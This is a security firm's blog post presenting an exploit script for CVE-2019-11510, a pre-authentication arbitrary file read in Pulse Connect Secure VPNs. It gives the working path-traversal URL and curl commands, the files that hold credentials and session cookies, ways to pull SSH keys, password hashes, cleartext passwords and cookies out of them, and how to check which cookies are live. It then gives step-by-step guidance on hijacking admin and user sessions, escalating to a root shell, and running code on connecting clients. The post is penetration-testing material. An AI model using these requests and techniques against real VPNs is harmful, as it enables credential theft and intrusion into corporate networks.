Automating Exploitation of a Pulse SSL VPN Arbitrary File Read Vulnerability

Introduction

At this year’s Black Hat and DEFCON conferences, Orange Tsai and Meh Chang gave a talk entitled “Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs.” The presentation of their original research included a host of vulnerability disclosures for popular enterprise VPN products including Pulse Connect Secure.

Since then, one vulnerability in particular has received a great deal of attention from the security community because of its potential to cause widespread damage. Orange and Meh demonstrated a pre-authentication arbitrary file read vulnerability (CVE-2019-11510) that revealed sensitive information like VPN client credentials, private SSH keys, and session cookies. They showed how this information was used to compromise a client session and gain access to a VPN network, then demonstrated additional post-authentication exploits that resulted in complete takeover of the VPN server.

The presenters intentionally left key details out of their explanation of the initial attack vector to allow time for Pulse customers to patch their VPN software. Orange and Meh stated that their responsibility was to make the world more secure, so they chose not to release the exploit upon which all the others depended. Ten days after the conferences, however, 0xDezzy and Alyssa Herrera published proof-of-concept code for Metasploit that revealed the vulnerable path that was key to a functional exploit. From there, the race was on.

TL;DR

In order to contribute to Bishop Fox’s mission to protect our clients, I researched the Pulse SSL VPN arbitrary file read vulnerability and developed an exploit for our penetration testers to use on their engagements. Provided with a hostname or IP address, the bash script:

Checks the version of Pulse Connect Secure

Tests for arbitrary file disclosure

Downloads VPN configuration, authentication cache, and session cache

Extracts SSH keys, client usernames, password hashes, (in some cases) clear text passwords, and (in some cases) Active Directory user details

Identifies administrator accounts

Extracts session cookies (for clients and administrators) and identifies which ones are still active

The script is available for download from the Bishop Fox GitHub repository, and pull requests for improvements are encouraged.

$ ./pwn-pulse.sh 10.5.5.5 Target is 10.5.5.5 Pulse Connect Secure 9.0.2.63965 Testing arbitrary file read...vulnerable! Downloading (1/3)...done Downloading (2/3)...done Downloading (3/3)...done Extracting product version... Extracting SSH keys... Extracting local user details... Extracting session cookies... Extracting administrator details... Testing admin session cookies... Extracting observed VPN logins... Testing client session cookies... Done.

Origins

The impetus for this project was simple: in accordance with Bishop Fox’s mission to deliver outstanding client services, I wanted us to be able to identify this vulnerability faster and better than the other options that were available at the time. Enough information had been published by mid-August to write a complete exploit, yet the existing proofs-of-concept fell short of gathering all the data Orange and Meh had promised was available. Using the Metasploit module as a starting point, I set about identifying vulnerable servers within our client pool, then (after having notified those clients about the vulnerability), figuring out how to extract as much sensitive information as possible. To date, I have not seen another exploit that gathers as much data as easily as this one does, so we are now happy to publish it for general consumption.

Challenges

Despite focusing solely on a single vulnerability, automating its exploitation brought a fair few challenges. Here‘s a walkthrough of the development process for those who are interested.

Identifying Targets

Alyssa Herrera disclosed on Twitter that version information for Pulse Connect Secure is available on a publicly accessible page at:

/dana-na/nc/nc_gina_ver.txt

This provides an easy way to identify which endpoints are running Pulse Connect Secure and to passively assess the likelihood that they are vulnerable.

Testing Vulnerability

Once we have a list of potential targets, we can validate them by performing a simple HTTP GET request to see if sensitive file contents are disclosed. The path to use for that request was provided in the Metasploit module:

/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/

If we get a response containing the contents of the /etc/passwd file, we know the target is vulnerable and can proceed to download more valuable files from the server. (For the technically curious, Orange explained exactly how and why the path traversal works in his latest blog post on the subject.)

Downloading Important Files

In their bug bounty report to Twitter, Orange and Meh identified several important files on the Pulse Connect Secure server. Three have particular significance:

/data/runtime/mtmp/system holds the VPN configuration details.

/data/runtime/mtmp/lmdb/dataa/data.mdb stores a cache of authentication details.

/data/runtime/mtmp/lmdb/randomVal/data.mdb tracks session cookies and the users to whom they belong.

To obtain these files, we simply perform the same HTTP GET request written above but substitute the path to the file we want in place of /etc/passwd. One gotcha here is that modern browsers automatically resolve URLs before submitting requests, which defeats this exploit by effectively removing the vulnerable path. To work around this limitation, we must submit the request with a tool like curl and use a special flag (--path-as-is) to disable URL rewriting.

Here we try to request the system file directly, and get a redirect to the login page:

$ curl -Ik --path-as-is https://10.5.5.5/data/runtime/mtmp/system HTTP/1.1 302 Found Location: https://10.5.5.5/dana-na/auth/welcome.cgi Content-Type: text/html; charset=utf-8 Set-Cookie: DSLaunchURL=2F646174612F72756E74696D652F6D746D702F73797374656D; path=/; Secure Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000

Here we request the file using the vulnerable path, and we get a successful response:

$ curl -Ik --path-as-is https://10.5.5.5/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/system?/dana/html5acc/guacamole/ HTTP/1.1 200 OK Cache-Control: max-age=86400, must-revalidate Last-Modified: Mon, 09 Sep 2019 11:03:59 GMT Content-Length: 4194304 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000

Parsing Sensitive Information

Once we have successfully downloaded the files, all that remains is to parse out the relevant information from them. Simple, right? As it turns out, this part was not as straightforward as expected.

First, the files are labeled with an MDB extension, which suggests they are database files. Testing for compatibility with several known formats, however, did not reveal which format was used. Without understanding the files’ data structure, we must resort to less reliable methods of searching and extracting relevant information.

Second, the files contain binary data, much of which is incomprehensible to human eyes. The simplest way to extract the legible parts is to use the strings tool, which looks for patterns in the data that appear to be text strings and outputs them in a list. This can narrow the search scope for parsing but also loses some of the context around the general organization of the data.

Third, a manual review of the data in the binary files revealed some patterns in their structure, but also a surprising amount of variability in that structure. For example, the randomVal/data.mdb file contains little more than lists of session cookies and the unique IDs of the accounts to which they were issued, but they do not appear in the file in a discernable logical order. That is to say, the most recent (and therefore potentially active) sessions could be anywhere in the file, not necessarily at the beginning or end of it. Another example is information about the administrator account, which can be found in the system file but does not appear to record the relevant fields in a consistent order.

Fourth, as I continued to research, I discovered that different VPN server configurations could produce a wide variety of data formats in these files. The system file contains a list of usernames and hashes of the passwords that correspond to them, but it only includes users that have local accounts on the server. If the VPN is configured to use Active Directory authentication, for example, there may be few local users to discover. The dataa/data.mdb file, however, keeps a record of successful authentications regardless of whether the accounts are local or external. There is variability here too, as I found that some passwords are recorded in clear text while others are base64 encoded with their corresponding usernames. The system file in some cases seems to contain cached authentication credentials as well, for reasons beyond my ken.

Finally, I encountered many instances of truncated data, which is not unexpected in cache files.

All of these inconsistencies present a challenge to writing a parser that is effective against files pulled from a variety of software versions and configurations – challenge accepted!

I spent a great deal of time testing various approaches using multiple data sets, and eventually worked out a Pretty Good™ solution to the inconsistencies:

Identifying private SSH keys is a simple matter of searching for the keywords “BEGIN PRIVATE KEY” and “END PRIVATE KEY.”

Identifying usernames of local accounts can be accomplished by searching for strings beginning with “login_” and their corresponding unique IDs consistently following on the next line.

Identifying the password hash corresponding to each local account is a little trickier as it may appear anywhere within about 10 lines of the username, but the search is made significantly easier by two facts:

1. The hashes are in MD5-crypt format, prefixed with “$1$”, and

2. The salt is hard-coded as “danastre” and appears in clear text. (This also makes it easy to spot password re-use!)

1. The hashes are in MD5-crypt format, prefixed with “$1$”, and 2. The salt is hard-coded as “danastre” and appears in clear text. (This also makes it easy to spot password re-use!) Identifying session cookies is relatively straightforward since they are all in the same file. Since we already matched unique IDs with usernames, we can also figure out which cookies belong to those users. One caveat is that we don’t have unique IDs for externally authenticated accounts. Another is that there tends to be a lot of truncated data in this cache, but all we have to do is ignore any entries with the wrong length: unique IDs always have 32 characters and cookies always have 40.

Identifying administrator accounts relies on a combination of different approaches. For Pulse Connect Secure version 9.x, we search for the keyword “Platform Administrator” and look at the two lines before and after that term for a username (prefixed with “login_”) and a SHA-256 hash (64 hexadecimal characters). For version 8.x, we search for the keyword “Administrators” and check the three lines following for the username and password hash. Once we know the username, we also know its unique ID since we identified it above.

Identifying which session cookies belong to each administrator is now a simple matter of connecting data points we have already gathered: the administrator username correlates to a unique ID that may correlate to one or more session cookies.

Identifying cached clear text credentials requires a combination of approaches. First, we search for the keyword “user@” to find LDAP and Active Directory authentication records. Useful information may reside within about 35 lines after the keyword, so we grab that and search through it to identify a variety of fields, including the username, password, email address, and last login time. Second, we search for the keyword “!PRIMARY!” to find local authentication records. These are typically encoded in base64, so we test each line following the keyword to see if it decodes to a string matching the format “username:password”. A bit of creativity is required here since the full line may not be encoded, but by incrementally decoding 4 bytes at a time starting from the end of the line, we can identify the part that is valid base64.

Taken together, these techniques seem to produce pretty consistent results. There is likely room for improvement, so if you find a way to make them better, please feel free to submit a pull request via GitHub with the changes!

Testing the Session Cookies

Now that we have extracted as much sensitive information as we can, only one task remains. Out of all the session cookies we identified, which ones are currently active? Fortunately, we can determine this easily by testing them with a request to the VPN client page. After successfully authenticating to the SSL VPN, users are redirected here:

/dana/home/index.cgi

If we send an HTTP GET request to that page with the session cookie included under the label “DSID,” we will get a 200 status code in response. If the session has expired and the cookie is no longer valid, we will instead get a 302 redirect to the login page. Therefore, any request that produces a response code of 200 indicates that the session is still active and can be easily hijacked by planting the session cookie in our browser and visiting the VPN client page.

Here is an example of an expired session cookie:



$ curl -Ik -b "DSID=f8d4ab2056156bba1c8c665f2546cf57" https://10.5.5.5/dana/home/index.cgi HTTP/1.1 302 Found Location: https://10.5.5.5/dana-na/auth/welcome.cgi?p=forced-off Content-Type: text/html; charset=utf-8 Set-Cookie: DSLaunchURL=2F64616E612F686F6D652F696E6465782E636769; path=/; Secure Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000

Here is one that is still active:

$ curl -Ik -b "DSID=a449f26618db6a6bf1199ecdf553de69" https://10.5.5.5/dana/home/index.cgi HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Set-Cookie: DSLastAccess=1568028857; path=/; Secure Pragma: no-cache Cache-Control: no-store Expires: -1 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000

Automating the Attack

Having developed a functional exploit for CVE-2019-11510, I was able to use it to assist several Bishop Fox customers identify and remediate vulnerabilities on their Pulse Connect Secure servers. We have also built components of this exploit into our Continuous Attack Surface Testing (CAST) managed service to give our customers peace of mind that they will be notified the minute a vulnerable VPN shows up on their perimeter.

Test Your Own Endpoint

If you are interested in testing this exploit against your own infrastructure, feel free! Here’s a step-by-step usage guide:

Make sure you have access to a command terminal with bash and curl. Download the script from the Bishop Fox GitHub repository: https://github.com/BishopFox/pwn-pulse Run chmod +x pwn-pulse.sh to make the script executable Run the script against a Pulse Connect Secure endpoint with the following command, providing either the IP address or the hostname of the endpoint you want to assess.

./pwn-pulse.sh 10.0.0.5

As the script executes, it will provide updates at each step along the way. Parsing the data may go quickly or could take several hours depending on the amount of information in the cache files. When the script finishes executing, it will print its results to the terminal and save them to a file ending with “_extractions.txt”. Your output should look something like this:

$ ./pwn-pulse.sh 10.5.5.5 Target is 10.5.5.5 Pulse Connect Secure 9.0.2.63965 Testing arbitrary file read...vulnerable! Downloading (1/3)...done Downloading (2/3)...done Downloading (3/3)...done Extracting product version... Extracting SSH keys... Extracting local user details... Extracting session cookies... Extracting administrator details... Testing admin session cookies... Testing admin session cookies... Extracting observed VPN logins... Testing client session cookies... Done. Pulse Connect Secure 9.0.2.63965 SSH keys: -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDM0ovpgle5R7pu [REDACTED] -----END PRIVATE KEY----- Local User Details: Username Unique ID Password Hash (md5crypt) -------- --------- ------------------------ admin 460c4f38ab7015f020858c2c833742414cdb298b admin2 92ffc5d6afb746be16a5baef8906eb2e71cf5cd4 test 315be85ecca362d45aba6cf39a0f7f7497ca537c $1$danastre$dL8KnwKz8IcUkeWHIu6Xg1 Administrator Details: Username: admin Unique ID: 460c4f38ab7015f020858c2c833742414cdb298b Password Hash (sha256(md5crypt)): d320545ff8413328c4300ee707615f4c9a05d7a92a4bf15d18a2bd3f9749db95 Session Cookies (DSIDs): Username: admin2 Unique ID: 92ffc5d6afb746be16a5baef8906eb2e71cf5cd4 Password Hash (sha256(md5crypt)): da0046cd2c5cac27a2c5210fac337937ae2a0de2937a138b5be037a627167462 Session Cookies (DSIDs): f8d4ab2056156bba1c8c665f2546cf57 Observed VPN Logins: Username Password Name Email Login Time -------- -------- ---- ----- ---------- nikolac [REDACTED] Nik[REDACTED] Nik[REDACTED].com Fri Apr 19 15:35:20 2019 gils [REDACTED] Gil[REDACTED] Gil[REDACTED].com Fri Apr 19 18:50:53 2019 admin [REDACTED] elii [REDACTED] Eli[REDACTED] [REDACTED].com Fri Aug 16 20:51:34 2019 marvinm [REDACTED] Mar[REDACTED] Mar[REDACTED].com Thu Aug 15 17:26:31 2019 gils [REDACTED] Gil[REDACTED] Gil[REDACTED].com Thu Aug 15 17:12:56 2019 VPN Session Cookies (DSIDs): Value User ----- ---- 262a9a7a118a952d85f3bb56df46838b test **ACTIVE**

Additional Options

If you want to skip the session cookie checks (which can generate significant traffic to the endpoint being tested), run the script with the “--no-cookie-tests” flag like so:

./pwn-pulse.sh --no-cookie-tests 10.0.0.5

If you want to re-run analysis without downloading new files from the server, run the script with the “--no-downloads” flag like so:

./pwn-pulse.sh --no-downloads 10.0.0.5

Of course, you can use both flags at the same time if you wish:

./pwn-pulse.sh --no-downloads --no-cookie-tests 10.0.0.5

Leveraging the Results

Review the output to determine how best to gain access to the VPN:

If an administrative session is active, drop its cookie with the label “DSID” into a web browser and visit /dana-admin/misc/dashboard.cgi:















If there are no administrative sessions active, but the administrator’s password was captured, simply log in as the administrator at /dana-na/auth/url_admin/welcome.cgi





If a user session is active, drop its cookie with the label “DSID” into a web browser and visit /dana/home/index.cgi:















If no sessions are active, but user passwords were captured and the login form does not use two-factor authentication, try logging in as a user at /dana-na/auth/url_default/welcome.cgi

Beyond the Perimeter

If you succeed at gaining access to the VPN, congratulations! You have successfully exploited the pre-authentication vulnerability and have obtained a foothold inside the secure perimeter. Your next steps from here can vary depending on your level of access. If you only have client-level privilege, but the corporate intranet is fully accessible, you may not need to press the attack any further. If you want to elevate your privileges to that of an administrator, but the administrative login page does not seem to be accessible, check out Orange and Meh’s latest Pulse blog post for some tips. If you already have administrative access and want to pop a root shell on the server, have a look at 0xDezzy’s exploit script for CVE-2019-11539. If you just want to abuse your administrative privilege to attack VPN clients, you can do that too – just use the built-in “logon script” feature to have every client execute arbitrary code after logging in.

Conclusion

At Bishop Fox, we go the extra mile to help our clients stay ahead of the latest threats to their security. It has been my great pleasure to assist in this effort and to be able to share the fruits of my labor with the security community at large. Thank you to all the researchers whose invaluable contributions made this work possible. I hope you enjoy the script and may it bring you many happy returns!

Jon Williams